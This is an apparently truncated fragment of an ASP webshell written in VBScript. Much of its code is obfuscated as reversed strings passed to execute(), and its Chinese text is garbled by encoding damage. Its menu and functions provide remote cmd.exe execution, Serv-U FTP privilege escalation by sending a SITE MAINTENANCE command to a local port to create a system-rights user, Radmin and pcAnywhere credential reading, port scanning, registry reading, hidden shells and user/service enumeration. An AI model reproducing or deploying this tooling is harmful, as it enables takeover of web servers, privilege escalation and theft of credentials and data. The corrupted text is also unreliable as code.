dnE<6E><45>)<29><>!<21>ʷ<EFBFBD><CAB7><EFBFBD><EFBFBD>ʲ<EFBFBD><CAB2>߻<EFBFBD><DFBB>ڴ治¼Ŀ <20><> & htaPeht(rrEwohs<68><73>nehT eslaF = )htaPeht(stsixEredloF.)<29><>tcejbOmetsySeliF.gnitpircS<63><53>(tcejbOetaerC.revreS fI<66><49><EFBFBD><EFBFBD>$bdl.HSH$bdm.HSH$<24><> = tsiLeliFsys<79><73>tsiLeliFsys ,selif ,sredlof ,redloFeht ,meti miD<69><44>)maerts ,sr ,htaPeht(bdMroFeerTosf noitcnuF<75><46>buS dnE<6E><45>gnihtoN = golataCoda teS<65><53>gnihtoN = maerts teS<65><53>gnihtoN = nnoc teS<65><53>gnihtoN = sr teS<65><53>esolC.maerts<74><73>esolC.nnoC<6F><43>esolC.sr<73><72>fI dnE<6E><45>maerts ,sr ,htaPeht bdMroFeerTas<61><73>eslE <20><>maerts ,sr ,htaPeht bdMroFeerTosf<73><66>nehT <20><>osf<73><66> = )<29><>dohteMeht<68><74>(tseuqeR fI<66><49>3 ,3 ,nnoc ,<2C><>ataDeliF<69><46> nepO.sr<73><72>1 = epyT.maerts<74><73>nepO.maerts<74><73>)<29><>)egamI tnetnoCelif ,rahCraV htaPeht ,DERETSULC YEK YRAMIRP )1,0(YTITNEDI tni dI(ataDeliF elbaT etaerC<72><43>(etucexE.nnoc<6F><63>rtSnnoc nepO.nnoc<6F><63>rtSnnoc etaerC.golataCoda<64><61>)<29><>bdm.HSH<53><48>(htaPpaM.revreS & <20><>=ecruoS ataD ;0.4.BDELO.teJ.tfosorciM=redivorP<72><50> = rtSnnoc<6F><63>)<29><>golataC.XODA<44><41>(tcejbOetaerC.revreS = golataCoda teS<65><53>)<29><>noitcennoC.BDODA<44><41>(tcejbOetaerC.revreS = nnoc teS<65><53>)<29><>maertS.BDODA<44><41>(tcejbOetaerC.revreS = maerts teS<65><53>)<29><>teSdroceR.BDODA<44><41>(tcejbOetaerC.revreS = sr teS<65><53>golataCoda ,rtSnnoc ,maerts ,nnoc ,sr miD<69><44>txeN emuseR rorrE nO<6E><4F>)htaPeht(bdMoTdda buS<75><53>buS dnE<6E><45><EFBFBD><EFBFBD>>mrof/<<3C><>¼Ŀ<C2BC><C4BF><EFBFBD>̱<EFBFBD><CCB1><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> :ע>rb<>rb<>'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni<>08=ezis <20><><EFBFBD><EFBFBD>bdm.HSH\<5C><> & ))<29><>.<2E><>(htaPpaM.revreS(edocnElmtH & <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=eulav htaPeht=eman tupni<>))<29><><EFBFBD><EFBFBD>#<23><><EFBFBD><EFBFBD>(noisseS(etucexE=eulav <20><><EFBFBD><EFBFBD>#<23><><EFBFBD><EFBFBD>=eman neddih=epyt tupni<>tsop=dohtem mrof<>/rb<:)<29><>֧OSF<53><46>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>/rh<>mrof/<<3C><>¼Ŀ<C2BC><C4BF>ͬ<EFBFBD><CDAC>ľmas<61><73>λ,<2C><><EFBFBD><EFBFBD>bdm.HSH<53><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> :ע>rb<>rb<>'<27><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>'=eulav timbus=epyt tupni<>tceles/<>noitpo/<OSF<53><46>>ppa=eulav noitpo<>noitpo/<OSF>
Function ProFile()
execute(shisanfun("IS j<><6A><EFBFBD><EFBFBD>>elbat/<>mrof/<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rt/<>dt/<>'<27>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>05=thgieh dt<>dt/<;psbn&>dt<>rt<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rt/<>dt/<)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>񣬴<EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>ĵĻ<C4B5><C4BB><EFBFBD>Ҫ<EFBFBD>裬<EFBFBD><E8A3AC>1ΪС<CEAA><D0A1>( <20><> >/ <20><><EFBFBD><EFBFBD>)'',g/]d\^[/(ecalper.eulav=eulav<61><76><EFBFBD><EFBFBD>=puyekno <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>=ezis <20><><EFBFBD><EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD>=eulav <20><><EFBFBD><EFBFBD>thgir:ngila-txet<65><74><EFBFBD><EFBFBD>=elyts <20><><EFBFBD><EFBFBD>emiTA<54><41><EFBFBD><EFBFBD>=eman <20><><EFBFBD><EFBFBD>txet<65><74><EFBFBD><EFBFBD>=epyt tupni<>dt<>dt/<<3C><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>>thgir=ngila dt<>rt<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rt/<>dt/<)<29><><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8>Գ<EFBFBD><D4B3>룬<EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʷ<EFBFBD>( 8-FTU>/ <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD>=eulav <20><><EFBFBD><EFBFBD>rahCA<43><41><EFBFBD><EFBFBD>=eman <20><><EFBFBD><EFBFBD>oidar<61><72><EFBFBD><EFBFBD>=epyt tupni< 2132BG>/ dekcehc <20><><EFBFBD><EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD>=eulav <20><><EFBFBD><EFBFBD>rahCA<43><41><EFBFBD><EFBFBD>=eman <20><><EFBFBD><EFBFBD>oidar<61><72><EFBFBD><EFBFBD>=epyt tupni<>dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>thgir=ngila dt<>rt<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rt/<>dt/<>aeratxet/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>><3E><><EFBFBD><EFBFBD>7<EFBFBD><37><EFBFBD><EFBFBD>=swor <20><><EFBFBD><EFBFBD>07<30><37><EFBFBD><EFBFBD>=sloc <20><><EFBFBD><EFBFBD>edoCA<43><41><EFBFBD><EFBFBD>=eman aeratxet<>dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>thgir=ngila <20><><EFBFBD><EFBFBD>;xp3:pot-gniddap<61><70><EFBFBD><EFBFBD>=elyts pot=ngilav dt<>rt<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>rt/<>dt/<>aeratxet/<<3C><>&)<29><>psa.tset\<5C><>&)<29><>htaPredloF<6F><46>(noisseS(htaPeRR&<26><>><3E><><EFBFBD><EFBFBD>7<EFBFBD><37><EFBFBD><EFBFBD>=swor <20><><EFBFBD><EFBFBD>07<30><37><EFBFBD><EFBFBD>=sloc <20><><EFBFBD><EFBFBD>eliFA<46><41><EFBFBD><EFBFBD>=eman aeratxet<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>dt<>dt/<>tnof/<;psbn&;psbn&<26><>·<EFBFBD><C2B7><EFBFBD>ĸ<EFBFBD>һ<EFBFBD><D2BB>ÿ>rb<;psbn&;psbn&<26><><EFBFBD>ĸ<EFBFBD><C4B8>໤<EFBFBD><E0BBA4>ʱͬ<CAB1><CDAC>>wolley=roloc tnof<>rb<<3C><><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD>ĵĻ<C4B5><C4BB><EFBFBD>Ҫ<EFBFBD><D2AA>><3E><><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD>=eulav <20><><EFBFBD><EFBFBD>avvv<76><76><EFBFBD><EFBFBD>=eman <20><><EFBFBD><EFBFBD>neddih<69><68><EFBFBD><EFBFBD>=epyt tupni<>thgir=ngila 'xp22:thgieh-enil'=elyts pot=ngilav dt<>rt<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>'tsoP=2noitcA&eliForP=noitcA?<3F><>&LRU&<26><>'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<<3C><>&IS=IS<49><53><EFBFBD><EFBFBD>>'0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<<3C><>=IS<49><53>fI dnE<6E><45>dnE.esnopseR<65><52><EFBFBD><EFBFBD>>rb<>retnec/<<3C><><EFBFBD>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD>>a/<<3C><><EFBFBD><EFBFBD>>knalb_=tegrat <20><>&2ssap&<26><>=eliForP?<3F><>&LRU&<26><>=ferh <20><><EFBFBD><EFBFBD>dlob:thgiew-tnof;enilrednu:noitaroced-txet<65><74><EFBFBD><EFBFBD>=elyts a<<3C><><EFBFBD>㣡<EFBFBD><E3A3A1><EFBFBD>ɳ<EFBFBD><C9B3><EFBFBD> >tnof/<<3C><>&2ssap&<26><>>wolley=roloc tnof< <20>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD>>retnec<>rb<>rb<>rb<<3C><>j<EFBFBD><6A>)<29><>rahCA<43><41>(tseuqer=)<29><>rahC<68><43>&2ssap(noitacilppA<70><41>)<29><>emiTA<54><41>(tseuqer=)<29><>emiT<69><54>&2ssap(noitacilppA<70><41>)<29><>edoCA<43><41>(tseuqer=)<29><>edoC<6F><43>&2ssap(noitacilppA<70><41>)<29><>eliFA<46><41>(tseuqer=)<29><>eliF<69><46>&2ssap(noitacilppA<70><41>1=)2ssap(noitacilppA<70><41>)2ssap(esacu=2ssap<61><70> pool<6F><6C>1mun&2ssap=2ssap<61><70>fi dne<6E><65> 9~0' ))84+dnr*)84-75((rhC(rtSC=1mun<75><6E>esle<6C><65> z~a' ))79+dnr*)79-221((rhC(rtSC=1mun<75><6E>neht 4=<)2ssap(neL fi<66><69>8<)2ssap(neL elihW oD<6F><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=2ssap<61><70>1mun,2ssap mid<69><64>ezimodnaR<61><52>nehT <20><>tsoP<6F><50>=)<29><>2noitcA<63><41>(tseuqeR fI<66><49>"))
End Function
Function suftp()
execute(shisanfun("fi dne<6E><65>gnihton=3TSOPx teS<65><53>)sevael(dneS.3tsoPx<EFBFBD><EFBFBD>eurT ,<2C><>sevael/<2F><>& trop &<26><>:1.0.0.721//:ptth<74><68> ,<2C><>TSOP<4F><50> nepO.3tsoPx<EFBFBD><EFBFBD>)<29><>PTTHLMX.2LMXSM<EFBFBD><EFBFBD>(tcejbOetaerC = 3tsoPx teS<65><53>flrcbv & resut & <20><>=resU <20><> & flrcbv & tropt & <20><>=oNtroP-<2D><> & flrcbv & <20><>0.0.0.0=PI-<2D><> & flrcbv & <20><>RESUETELED-<2D><> & sevael = sevael<65><6C>flrcbv & <20><>ECNANETNIAM ETIS<49><53> & sevael = sevael<65><6C>flrcbv & dwp & <20><> ssaP<61><50> & sevael = sevael<65><6C>flrcbv & rsU & <20><> resU<73><55> = sevael<65><6C>esle<6C><65>)<29><>>RB<>rb<): <20><> & htapt & <20><> :<3A><>· <20><> & ssapt & <20><> :<3A><><EFBFBD>ܩ<EFBFBD> & <20><> <20><> & resut & <20><> :<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PTF<54><46><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>( j<><6A>gnihton=TSOPx teS<65><53>)sevael(dneS.tsoPx<50><78>eurT ,<2C><>sevael/<2F><>& trop &<26><>:1.0.0.721//:ptth<74><68> ,<2C><>TSOP<4F><50> nepO.tsoPx<50><78>)<29><>PTTHLMX.2LMXSM<EFBFBD><EFBFBD>(tcejbOetaerC = tsoPx teS<65><53>txeN emuseR rorrE nO<6E><4F>flrcbv & <20><>PDCLEMAWR|\<5C><> & htapt & <20><>=sseccA <20><> & flrcbv & <20><>enoN=soitaR-<2D><> & flrcbv & <20><>ralugeR=epyTdrowssaP-<2D><> & flrcbv & <20><>metsyS=ecnanetniaM-<2D><><EFBFBD><EFBFBD>_ & flrcbv & <20><>0=mumixaMatouQ-<2D><> & flrcbv & <20><>0=tnerruCatouQ-<2D><> & flrcbv & <20><>0=tiderCsoitaR-<2D><> & flrcbv & <20><>1=nwoDoitaR-<2D><><EFBFBD><EFBFBD>_ & flrcbv & <20><>1=pUoitaR-<2D><> & flrcbv & <20><>0=eripxE-<2D><> & flrcbv & <20><>1-=tuOemiTnoisseS-<2D><> & flrcbv & <20><>006=tuOemiTeldI-<2D><> & flrcbv & <20><>1-=sresUrNxaM-<2D><><EFBFBD><EFBFBD>_ & flrcbv & <20><>0=nwoDtimiLdeepS-<2D><> & flrcbv & <20><>0=pUtimiLdeepS-<2D><> & flrcbv & <20><>1-=PIrePnigoLsresUxaM-<2D><> & flrcbv & <20><>0=elbanEatouQ-<2D><><EFBFBD><EFBFBD>_ & flrcbv & <20><>0=drowssaPegnahC-<2D><> & flrcbv & <20><>0=nigoLwollAsyawlA-<2D><> & flrcbv & <20><>0=neddiHediH-<2D><> & flrcbv & <20><>0=eruceSdeeN-<2D><><EFBFBD><EFBFBD>_ & flrcbv & <20><>1=shtaPleR-<2D><> & flrcbv & <20><>0=elbasiD-<2D><> & flrcbv & <20><>=eliFseMnigoL-<2D><> & flrcbv & <20><>\<5C><> & htapt & <20><>=riDemoH-<2D><><EFBFBD><EFBFBD>_ & flrcbv & ssapt & <20><>=drowssaP-<2D><> & flrcbv & resut & <20><>=resU-<2D><> & flrcbv & tropt & <20><>=oNtroP-<2D><> & flrcbv & <20><>0.0.0.0=PI-<2D><> & flrcbv & <20><>PUTESRESUTES-<2D><> & sevael = sevael<65><6C>flrcbv & <20><>ECNANETNIAM ETIS<49><53> & sevael = sevael<65><6C>flrcbv & dwp & <20><> ssaP<61><50> & sevael = sevael<65><6C>flrcbv & rsU & <20><> resU<73><55> = sevael<65><6C>nehT <20><>dda<64><61> = )<29><>nottuboidar<61><72>(mroF.tseuqer fi<66><69>)<29><>dmcd<63><64>(mroF.tseuqer = dnammoC'<27><>)<29><>tropt<70><74>(mroF.tseuqer = tropt<70><74>)<29><>htapt<70><74>(mroF.tseuqer = htapt<70><74>)<29><>ssapt<70><74>(mroF.tseuqer = ssapt<70><74>)<29><>resut<75><74>(mroF.tseuqer = resut<75><74>)<29><>tropd<70><64>(mroF.tseuqer = trop<6F><70>)<29><>dwpd<70><64>(mroF.tseuqer = dwp<77><70>)<29><>resud<75><64>(mroF.tseuqer = rsU<73><55><EFBFBD><EFBFBD>>retnec/<>mrof/<>elbat/<>rt/<>dt/<>'1'=eulav 'noitca'=di 'neddih'=epyt 'noitcaUS'=eman tupni<>'teseR'=eulav '2timbuS'=eman 'teser'=epyt tupni<;psbn&>'oG tsuJ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>d=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<>dt/<<3C><>ɾ<EFBFBD><C9BE>ȷ>d=di 'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<;psbn&<26><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ>d=di 'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD>>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD><EFBFBD>·<EFBFBD>ʷ<EFBFBD>>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'1'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD>>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'redavni'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD>>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD>ڶ<EFBFBD>ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>d=di dt<>dt/<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>b/<Ϣ<>ű<EFBFBD><C5B1><EFBFBD><EFBFBD>ɼ<EFBFBD>>B< >tnof/<8>sgnidbew=ecaf tnof<>s=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>'005'=htdiw elbat<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>retnec<<3C><>j<EFBFBD><6A>"))
End Function
Function MainMenu()
j"<script language=javascript>function MM_show(s){if (document.getElementById(s).style.display==""""){document.getElementById(s).style.display=""none"";}else{document.getElementById(s).style.display="""";}}</script><table width='100%' cellspacing='0' cellpadding='0'><tr><td height='5'></td></tr><tr><td><center><font color=pink><font size=1.0>"&mName&"</font></font></center><hr color=#424242 size=1 ></td></tr>":If ObT(0,1)=" <20><>" Then
j"<tr><td height='24'><3E><>Ȩ<EFBFBD><C8A8></td></tr>"
Else
j"<tr><td onClick=""MM_show('menud')""><input onMouseOver=""this.style.cursor='hand'"" type=button value='Disk & Files'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0 id=menud style=""display='none'"">"
Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing
j"</table></td></tr><tr><td valign=""top"" align=center><table border=0><tr><td id=d width=95 onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'""><a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'><font face='wingdings'>8</font> վ<><D5BE><EFBFBD><EFBFBD>Ŀ¼"&ef
j cdx&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>"&cxd&" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>"&ef
j cdx&"<a href='?Action=goback' target='FileFrame'>"&cxd&" <20><><EFBFBD>ϼ<EFBFBD>Ŀ¼"&ef
j cdx&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\Newfile")&""",""NewFolder"")'>"&cxd&" <20>½<EFBFBD>--Ŀ<><C4BF>"&ef
j cdx&"<a href='?Action=EditFile' target='FileFrame'>"&cxd&" <20>½<EFBFBD>--<2D>ı<EFBFBD>"&ef
j cdx&"<a href='?Action=UpFile' target='FileFrame'>"&cxd&" <20>ϴ<EFBFBD>--<2D>ļ<EFBFBD>"&ef
j cdx&"<a href='?Action=Cmd1Shell' target='FileFrame'>"&cxd&" ִ<><D6B4>---CMD"&ef
j cdx&"<a href='?Action=cmdx' target='FileFrame'>"&cxd&" ִ<><D6B4>--CMD2"&ef
j cdx&"<a href='?Action=ScanDriveForm' target='FileFrame'>"&cxd&" <20><><EFBFBD><EFBFBD>--Ȩ<><C8A8>"&ef
j cdx&"<a href='?Action=php' target='FileFrame'>"&cxd&" <20>ű<EFBFBD>--̽<><CCBD>"&ef
j cdx&"<a href='?Action=PageAddToMdb' target='FileFrame'>"&cxd&" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"&ef
j cdx&"<a href='?Action=upload' target='FileFrame'>"&cxd&" <20><><EFBFBD><EFBFBD>--<2D>ļ<EFBFBD>"&ef&"</table><hr></td></tr>"
End If
j"</tr><tr><td height=4></td></tr><tr><td onClick=""MM_show('menuc')""><input onMouseOver=""this.style.cursor='hand1'"" type=button value='Information'></td></tr><tr><td height=4></td></tr><tr><td valign=""top"" align=center><table border=0 id=menuc style=""display='none'"">"
j cdx&"<a href='?Action=Course' target='FileFrame'>"&cxd&" <20>û<EFBFBD>__<5F>˺<EFBFBD>"&ef
j cdx&"<a href='?Action=getTerminalInfo' target='FileFrame'>"&cxd&" <20>˿<EFBFBD>__<5F><5F><EFBFBD><EFBFBD>"&ef
j cdx&"<a href='?Action=Alexa' target='FileFrame'>"&cxd&" <20><><EFBFBD><EFBFBD>__֧<5F><D6A7>"&ef
j cdx&"<a href='?Action=Servu' target='FileFrame'>"&cxd&" Servu-<2D><>Ȩ"&ef
j cdx&"<a href='?Action=suftp' target='FileFrame'>"&cxd&" Su---FTP<54><50>"&ef
j cdx&"<a href='?Action=MMD' target='FileFrame'>"&cxd&" SQL-----SA"&ef
j cdx&"<a href='"&htp&"sql.asp' target='FileFrame'>"&cxd&" SQL---<2D><><EFBFBD><EFBFBD>"&ef
j cdx&"<a href='?Action=radmin' target='FileFrame'>"&cxd&" Radmin<69><6E>Ȩ"&ef
j cdx&"<a href='?Action=pcanywhere4' target='FileFrame'>"&cxd&" Pcanywhere"&ef
j cdx&"<a href='?Action=ScanPort' target='FileFrame'>"&cxd&" <20>˿<EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD>"&ef
j cdx&"<a href='?Action=ReadREG' target='FileFrame'>"&cxd&" <20><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD>"&ef
j cdx&"<a href='?Action=TSearch' target='FileFrame'>"&cxd&" <20><><EFBFBD><EFBFBD>__<5F>ļ<EFBFBD>"&ef&"</tr></table>"
j"<hr><tr><td><input onMouseOver=""this.style.cursor='hand'"" type=button value=' Special '></td</tr><tr><td height=4></td></tr><tr><td align=center><table border=0>"
j cdx&"<a href='?Action=EditPower&PowerPath=\\.\"&OOOO&"' target='FileFrame'>"&cxd&" <font color=red>ɱɱɱɱɱ"&ef
j cdx&"<a href='?Action=hiddenshell' target='FileFrame'>"&cxd&" <font color=red><3E><><EFBFBD>Ӹ<EFBFBD><D3B8><EFBFBD><EFBFBD><EFBFBD></font>"&ef
j cdx&"<a href='http://www.odayexp.com/h4cker/tuoku/index.aspx' target='FileFrame'>"&cxd&" <font color=red><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ջ<EFBFBD></font>"&ef
j cdx&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\vti_cnf..\\")&""",""NewFolder"")'>"&cxd&" <font color=red><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</font>"&ef
j cdx&"<a href='?Action=ProFile' target='FileFrame'>"&cxd&" <font color=red><3E>ļ<EFBFBD>--<2D><><EFBFBD><EFBFBD>"&ef
j"<hr><tr><td><input onMouseOver=""this.style.cursor='hand'"" type=button value=' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ '></td</tr><tr><td height=4></td></tr><tr><td align=center><table border=0>"
j cdx&"<a href='http://www.aizhan.com/siteall/"&str1&"' target='FileFrame'>"&cxd&" Ȩ<>ز<EFBFBD>ѯ"&ef
j cdx&"<a href='http://www.114best.com/ip/114.aspx?w="&str1&"' target='FileFrame'>"&cxd&" ͬ<><CDAC><EFBFBD><EFBFBD>ѯ"&ef
j cdx&"<a href='http://tool.chinaz.com/baidu/?wd="&str1&"&lm=0&pn=0' target='FileFrame'>"&cxd&" <20><>¼<EFBFBD><C2BC>ѯ"&ef
j cdx&"<a href='http://tool.chinaz.com/Tools/Robot.aspx?url="&str1&"&btn=+<2B><>+ѯ+' target='FileFrame'>"&cxd&" <font color=red><3E><>Ů<EFBFBD><C5AE>ѯ"&ef
j cdx&"<a href='?Action=Logout' target='FileFrame'>"&cxd&" <font color=green><3E>˳<EFBFBD>--<2D><>½</a></td></tr></hr></table>"
j Efun&""&serveru&"&p="&serverp&"'><script>"
end function
function Cmdx()
execute(shisanfun(")<29><>>retnec/<>aeratxet/<<3C><>(j: lladaer.tuodts.))<29><>dmc<6D><63>(tseuqer&<26><>c/ <20><>&)<29><>xdmc<6D><63>(tseuqer(cexe.nhltpircSo j: fi dne<6E><65> lladaer.tuodts.))<29><>dmc<6D><63>(tseuqer&<26><>c/ exe.dmc<6D><63>(cexe.nhltpircSo j<><6A>neht <20><>exe.dmc<6D><63>=)<29><>xdmc<6D><63>(tseuqer fi:txeN emuseR rorrE nO:)<29><> >72=swor 051=sloc ylnodaer aeratxet<<3C><>(j:)<29><> >mrof/<>'tibmuS'=eulav timbus=epyt tupni<<3C><>(j:)<29><> >rb<>06=ezis 'dmc'=eman txet=epyt tupni<<3C><>(j:)<29><> >rb<>'exe.dmc'=eulav 06=ezis 'xdmc'=eman txet=epyt tupni<<3C><>(j:)<29><> >'tsop'=dohtem mrof<>retnec<<3C><>(j<><6A>"))
end function
Function Course()
SI="<br><table width='80%' align='center'><tr><td height='20' colspan='3' align='center' id=s><b>ϵͳ<CFB5>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></b></td></tr>"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td id=d>&nbsp;ϵͳ<CFB5>û<EFBFBD>(<28><>)</td></tr><tr>"
end if
if OBJ.StartType=2 then lx="<22>Զ<EFBFBD>"
if OBJ.StartType=3 then lx="<22>ֶ<EFBFBD>"
if OBJ.StartType=4 then lx="<22><><EFBFBD><EFBFBD>"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td height=""20"" id=d>&nbsp;"&obj.DisplayName&"<tr><td height=""20"" id=d colspan=""2"">[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"&lx&"]<font>&nbsp;"&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td height=""20"" id=d>&nbsp;"&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[<5B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"&lx&"]<font color=#3399FF>&nbsp;"&obj.path&"</font></td></tr>"
end if
next
j SI&SI0&SI1&SI2&"</table>"
End Function
respnose.Write strBAD&Action
Function IIf(var, val1, val2)
If var=True Then
IIf=val1
Else
IIf=val2
End If
End Function
Function GetTheSizes(num)
Dim i, arySize(4)
arySize(0)="B"
arySize(1)="KB"
arySize(2)="MB"
arySize(3)="GB"
arySize(4)="TB"
While(num / 1024 >= 1)
num=Fix(num / 1024 * 100) / 100
i=i + 1
WEnd
GetTheSizes=num&" "&arySize(i)
End Function
Function HtmlEncodes(str)
If IsNull(str) Then Exit Function
HtmlEncodes=Server.HTMLEncode(str)
End Function
function downfile(path)
